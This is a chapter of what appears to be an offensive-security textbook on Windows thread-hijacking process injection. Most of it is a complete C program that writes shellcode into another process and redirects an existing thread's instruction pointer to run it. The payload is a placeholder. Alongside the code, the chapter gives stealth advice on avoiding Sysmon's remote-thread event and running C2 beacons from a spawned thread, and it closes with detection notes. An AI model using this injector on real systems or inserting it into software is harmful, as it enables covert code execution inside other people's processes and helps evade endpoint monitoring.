Chapter 32

Thread Hijacking

Thread hijacking (also called SetThreadContext injection) takes over an existing thread in the target process rather than creating a new one or relying on APC queuing. You suspend the thread, save its current register state (all registers including RIP — the instruction pointer), overwrite RIP to point at your shellcode, resume the thread. The thread now executes your shellcode while using its original stack and register context. When the shellcode finishes, you restore the original registers and the thread returns to exactly where it was — ideally without the target thread or process noticing anything happened. This chapter builds the complete hijack, explains the register patching math, and covers why returning cleanly is the hard part.

Thread Hijacking Sequence

Thread hijacking — redirect and return
  BEFORE HIJACKING:
  ─────────────────────────────────────────────────────────────────────────
  Thread TID 4892 (in explorer.exe):
    State: RUNNING
    RIP: 0x7FFF12345678  (somewhere inside ntdll waiting function)
    RSP: 0x000000F3A4B0  (the thread's stack, pointing at saved return address)
    RAX: 0x0000000000000001
    RBX: 0x00007FFF00000000
    ... (all other registers have meaningful values)
  
  STEP 1: SuspendThread(hThread)
    Thread is frozen. Its register state is preserved in kernel structures.
    The thread's RIP is currently "inside" some system call.

  STEP 2: GetThreadContext → save all registers (full CONTEXT struct)
    RIP: 0x7FFF12345678  ← where the thread was when suspended
    RSP: 0x000000F3A4B0
    ... (all registers saved)

  STEP 3: Modify CONTEXT.Rip to point at shellcode
    CONTEXT.Rip = remote_shellcode_addr  (0x000002489ABC0000)
    → When resumed, thread will start executing AT our shellcode

  STEP 4: SetThreadContext(hThread, &modified_context)
    Kernel updates the thread's saved register state.

  STEP 5: ResumeThread(hThread)
    Thread resumes — but now RIP points to shellcode, not the original location.
    Thread executes shellcode on its own stack (RSP still valid — same stack).
  
  STEP 6: Shellcode executes, then must RESTORE original context:
    Option A: Shellcode calls back to a restore routine we inject
    Option B: Shellcode patches itself to jump back to original RIP at end
    Option C: Just return (RET) — the RSP should have the right return address
              if we didn't corrupt the stack

  AFTER HIJACKING:
    Thread returns to wherever it was before.
    From the thread's perspective: a brief "jump" occurred, nothing else changed.
    If we preserved all registers and returned cleanly: thread continues normally.

Implementation

/* thread_hijack.c — Thread context hijacking
   
   Finds a suspended-state thread in the target process (or suspends
   a running one), redirects its RIP to shellcode, then restores
   original context after shellcode completes.
   
   Build:
     x86_64-w64-mingw32-gcc -O2 -o hijack.exe thread_hijack.c
*/

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

/* Shellcode MUST end with a RET (0xC3) and not corrupt registers
   that the hijacked thread needs. For a clean hijack:
   - Push all registers (PUSHAD equivalent in 64-bit: push each individually)
   - Do work
   - Pop all registers (reverse order)
   - RET  ← returns to wherever RSP was pointing when we hijacked
*/
static unsigned char sc[] = {
    /* Save caller's registers (standard ABI non-volatile regs) */
    0x50,                         /* push rax */
    0x51,                         /* push rcx */
    0x52,                         /* push rdx */
    0x53,                         /* push rbx */
    0x55,                         /* push rbp */
    0x56,                         /* push rsi */
    0x57,                         /* push rdi */
    0x41, 0x50,                   /* push r8 */
    0x41, 0x51,                   /* push r9 */
    0x41, 0x52,                   /* push r10 */
    0x41, 0x53,                   /* push r11 */
    0x41, 0x54,                   /* push r12 */
    0x41, 0x55,                   /* push r13 */
    0x41, 0x56,                   /* push r14 */
    0x41, 0x57,                   /* push r15 */
    /* ... real payload here ... */
    0x90, 0x90,                   /* NOP NOP (payload placeholder) */
    /* Restore registers in reverse order */
    0x41, 0x5F,                   /* pop r15 */
    0x41, 0x5E,                   /* pop r14 */
    0x41, 0x5D,                   /* pop r13 */
    0x41, 0x5C,                   /* pop r12 */
    0x41, 0x5B,                   /* pop r11 */
    0x41, 0x5A,                   /* pop r10 */
    0x41, 0x59,                   /* pop r9 */
    0x41, 0x58,                   /* pop r8 */
    0x5F,                         /* pop rdi */
    0x5E,                         /* pop rsi */
    0x5D,                         /* pop rbp */
    0x5B,                         /* pop rbx */
    0x5A,                         /* pop rdx */
    0x59,                         /* pop rcx */
    0x58,                         /* pop rax */
    0xC3                          /* RET — return to thread's original execution */
};
static SIZE_T sc_len = sizeof(sc);

/* ── Find a thread to hijack (prefer waiting threads) ────────────────── */
static DWORD find_victim_thread(DWORD pid) {
    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (snap == INVALID_HANDLE_VALUE) return 0;

    THREADENTRY32 te = { .dwSize = sizeof(te) };
    DWORD victim_tid = 0;

    if (Thread32First(snap, &te)) {
        do {
            if (te.th32OwnerProcessID != pid) continue;
            /* Skip thread 0 (no thread has TID 0) */
            if (!te.th32ThreadID) continue;
            /* Pick the first thread we find (main thread is ideal) */
            victim_tid = te.th32ThreadID;
            break;
        } while (Thread32Next(snap, &te));
    }
    CloseHandle(snap);
    return victim_tid;
}

static BOOL thread_hijack(DWORD pid) {
    /* Step 1: Open target process and find a thread to hijack */
    HANDLE hProc = OpenProcess(PROCESS_VM_WRITE|PROCESS_VM_OPERATION, FALSE, pid);
    if (!hProc) { printf("[-] OpenProcess: %lu\n", GetLastError()); return FALSE; }

    DWORD tid = find_victim_thread(pid);
    if (!tid) { printf("[-] No threads found in PID %lu\n", pid); CloseHandle(hProc); return FALSE; }
    printf("[+] Hijacking thread %lu\n", tid);

    /* Step 2: Write shellcode to target process */
    LPVOID remote_sc = VirtualAllocEx(hProc, NULL, sc_len,
                                       MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
    WriteProcessMemory(hProc, remote_sc, sc, sc_len, NULL);
    DWORD old; VirtualProtectEx(hProc, remote_sc, sc_len, PAGE_EXECUTE_READ, &old);
    printf("[+] Shellcode at %p\n", remote_sc);

    /* Step 3: Open the target thread */
    HANDLE hThread = OpenThread(
        THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT | THREAD_SET_CONTEXT,
        FALSE, tid);
    if (!hThread) {
        printf("[-] OpenThread(%lu): %lu\n", tid, GetLastError());
        VirtualFreeEx(hProc, remote_sc, 0, MEM_RELEASE);
        CloseHandle(hProc);
        return FALSE;
    }

    /* Step 4: Suspend the thread */
    DWORD suspend_count = SuspendThread(hThread);
    printf("[+] Thread suspended (count was: %lu)\n", suspend_count);
    /* Small delay to ensure thread is in a stable state after suspend */
    Sleep(50);

    /* Step 5: Save the original thread context */
    CONTEXT orig_ctx;
    orig_ctx.ContextFlags = CONTEXT_FULL;
    if (!GetThreadContext(hThread, &orig_ctx)) {
        printf("[-] GetThreadContext: %lu\n", GetLastError());
        ResumeThread(hThread);
        CloseHandle(hThread);
        VirtualFreeEx(hProc, remote_sc, 0, MEM_RELEASE);
        CloseHandle(hProc);
        return FALSE;
    }
    printf("[+] Original RIP: 0x%016llX\n", (unsigned long long)orig_ctx.Rip);
    printf("[+] Original RSP: 0x%016llX\n", (unsigned long long)orig_ctx.Rsp);

    /*
     * Stack alignment consideration:
     * x64 ABI requires RSP to be 16-byte aligned at the point of a CALL instruction.
     * Our shellcode will use the thread's existing stack (RSP).
     * If RSP is currently misaligned (not 16-byte aligned), our shellcode may crash
     * when calling Windows APIs that require alignment (e.g., XMM operations).
     *
     * Fix: Align RSP downward by 8 if it's not currently aligned:
     */
    CONTEXT hijack_ctx = orig_ctx;
    if (hijack_ctx.Rsp % 16 != 0) {
        hijack_ctx.Rsp &= ~(DWORD64)0xF;  /* align down to 16 */
    }

    /* Step 6: Redirect RIP to shellcode */
    hijack_ctx.Rip = (DWORD64)remote_sc;
    hijack_ctx.ContextFlags = CONTEXT_FULL;

    if (!SetThreadContext(hThread, &hijack_ctx)) {
        printf("[-] SetThreadContext: %lu\n", GetLastError());
        ResumeThread(hThread);
        CloseHandle(hThread);
        VirtualFreeEx(hProc, remote_sc, 0, MEM_RELEASE);
        CloseHandle(hProc);
        return FALSE;
    }
    printf("[+] RIP redirected to 0x%016llX\n", (unsigned long long)remote_sc);

    /* Step 7: Resume — thread now executes our shellcode */
    ResumeThread(hThread);
    printf("[+] Thread resumed → executing shellcode\n");

    /* Wait for shellcode to complete (small window) */
    Sleep(2000);

    /* Note: After shellcode RET, thread returns to original execution context.
       If our shellcode preserved registers and returned cleanly, the thread
       continues without crashing. The VirtualAllocEx allocation stays (we
       don't free it while shellcode may reference it). */

    CloseHandle(hThread);
    CloseHandle(hProc);
    printf("[+] Thread hijack complete\n");
    return TRUE;
}

int main(int argc, char *argv[]) {
    if (argc < 2) { printf("Usage: %s [PID]\n", argv[0]); return 1; }
    return thread_hijack((DWORD)atol(argv[1])) ? 0 : 1;
}

Risks and Failure Modes

Thread hijacking failure modes:

1. Thread in kernel mode when suspended:
   ─────────────────────────────────────────────────────────────────────────
   SuspendThread can suspend a thread while it's inside a system call
   (executing kernel code). The thread is suspended at the kernel boundary,
   not at user-mode code. GetThreadContext still works and returns registers,
   but the RIP value points to code in NTDLL (e.g., NtWaitForSingleObject stub).
   
   Problem: If you redirect RIP while the thread is mid-syscall, resuming
   may corrupt kernel state. The thread may crash when it eventually returns
   from the system call (because the kernel expects to return to the NTDLL
   stub, not to arbitrary shellcode).
   
   Mitigation: Check if RIP is in ntdll.dll or ntoskrnl.exe range.
   If it is, the thread is mid-syscall. Suspend and check again — a thread
   mid-syscall for >100ms is unusual; you may need to wait for it to complete.

2. Stack misalignment:
   ─────────────────────────────────────────────────────────────────────────
   x64 ABI: RSP must be aligned to 16 bytes at any CALL instruction.
   Specifically: RSP % 16 == 8 just before a CALL (because CALL pushes 8 bytes,
   making RSP % 16 == 0 after the CALL, as required for function entry).
   
   If we hijack when RSP is at an unexpected alignment, our shellcode's
   internal CALL instructions may push RSP into misaligned state for callees,
   causing SSE instructions (movaps, etc.) to fault with STATUS_ACCESS_VIOLATION.
   
   Fix: The code above aligns RSP. For even more safety, allocate a fresh
   stack in the target process and set RSP to that instead of using the
   thread's original stack.

3. Shellcode duration vs. thread use:
   ─────────────────────────────────────────────────────────────────────────
   If the shellcode takes too long (starts a C2 beacon), the original thread's
   work is delayed. If the thread held a lock (mutex, critical section) when
   hijacked, other threads waiting on that lock are now stuck. The application
   may deadlock or appear to hang.
   
   Best shellcode for thread hijacking: fast execution that spawns its own thread,
   then returns immediately. The spawned thread does the actual C2 work.
   The hijacked thread returns to its normal execution quickly (<10ms ideally).

4. No new thread created — detection:
   ─────────────────────────────────────────────────────────────────────────
   CreateRemoteThread is not called. No Sysmon EventID 8.
   SetThreadContext on an existing thread is less commonly monitored.
   This is one of thread hijacking's stealth advantages over CRT/APC.
   
   Still detectable via: VirtualAllocEx + WriteProcessMemory (shared with all),
   SuspendThread on another process's thread (unusual), and kernel-level ETW.

Questions & Answers

How do you detect thread hijacking if no new thread is created?

Thread hijacking is harder to detect with basic Sysmon rules because CreateRemoteThread (EventID 8) is the usual smoking gun for remote thread-based injection. Thread hijacking avoids this call. Detection relies on: (1) The VirtualAllocEx + WriteProcessMemory combination (EventID 10 ProcessAccess with VM_WRITE access) — shared with all injection techniques, still detectable. (2) SuspendThread on a thread in another process — unusual and worth alerting on when it comes from an unrelated process. (3) SetThreadContext on a remote thread — very rare, monitored by some EDRs. (4) Post-execution memory scans: the shellcode allocation is still in memory after execution (unless the shellcode frees itself), visible as an unmapped executable region. (5) Network telemetry: if the shellcode establishes C2, network connections from the target process to unusual IPs are high signal.

What happens to the original thread after hijacking — can the target process detect the interruption?

The target process (and the hijacked thread itself) doesn't have any built-in detection for "my RIP was changed while I was suspended." Windows doesn't notify user-mode code when its context is modified externally. From the thread's perspective: it was running normally, then there's a gap in execution (during suspension), and then it continues — but the gap has no observable marker at the user-mode level. If the shellcode preserves all registers and returns to the original instruction stream cleanly, the thread resumes exactly where it was. The only observable side effect is a brief pause in whatever the thread was doing, which may be invisible for background threads or threads that sleep. For threads in active loops (e.g., a render thread), the pause may cause a dropped frame, which is observable to a user but not logged as an attack.